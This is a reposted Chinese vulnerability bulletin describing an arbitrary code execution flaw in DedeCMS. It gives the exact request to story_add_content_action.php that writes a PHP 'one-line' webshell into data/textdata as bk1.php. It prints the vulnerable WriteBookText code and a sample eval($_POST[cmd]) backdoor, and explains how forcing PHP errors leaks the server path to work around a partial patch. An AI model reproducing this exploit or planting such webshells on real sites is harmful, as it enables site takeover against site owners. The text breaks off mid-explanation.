当前位置:公告首页 >> 漏洞公告 >> 织梦(Dedecms)任意代码执行漏洞

织梦(Dedecms)任意代码执行漏洞

2008-10-30 12:49:29  作者:  来源:互联网  浏览次数:0  文字大小:【】【】【
漏洞页面是    \include\inc_bookfunctions.php
触发页面是 member/story_add_content_action.php

接着就是打开下面的地址:

http://www.xxx.com/member/story_add_content_action.php?chapterid=1&arcID=1&body=?>后面加上一句话代码。当你看到成功的提示就表示成功了。

然后打开http://www.xxx.com/data/textdata/1/bk1.php就是我们生成的后门。如果一次没成功想再重来一遍的话,下次生成的文件就变成bk2.php。以此类推。

官方有些已经补了漏洞,使得生成后门的路径不在是以上路径,哪么如何找到新的路径呢。下面我们来回顾一下漏洞的形成。在member/story_add_content_action.php文件夹下有如下代码:
WriteBookText($arcID,stripslashes($body));
再来看一下这个函数是处么写的,在include\inc_bookfunctions.php:
function WriteBookText($cid,$body)
{
        global $cfg_cmspath,$cfg_basedir;
        $ipath = $cfg_cmspath."/data/textdata";
        $tpath = ceil($cid/5000);
        if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);
        if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);
        $bookfile = $cfg_basedir.$ipath."/{$tpath}/bk{$cid}.php";
        $body = "<"."?php exit();\r\n".$body."\r\n?".">";
        @$fp = fopen($bookfile,'w');
最重要的是这一句:$body = "<"."?php exit();\r\n".$body."\r\n?".">";我没看以前的代码,但是前面加了一个exit();后,即使我们写入一句话,文件里的内容就会变成<?php exit();?><?php @eval($_POST[cmd])?>?> 也就是说,在执行eval函数前,先执行了exit函数,官方就这样限制了一句话木马的功能 ,但这里官方忽视了php的暴错性,我们要是随便写几个多余的字符进去呢?我们多写几个>或者其它比较关键的字符进去,反正stripslashes($body)会对它进行转义的,这样我们会轻而易举的得到网站的物理路径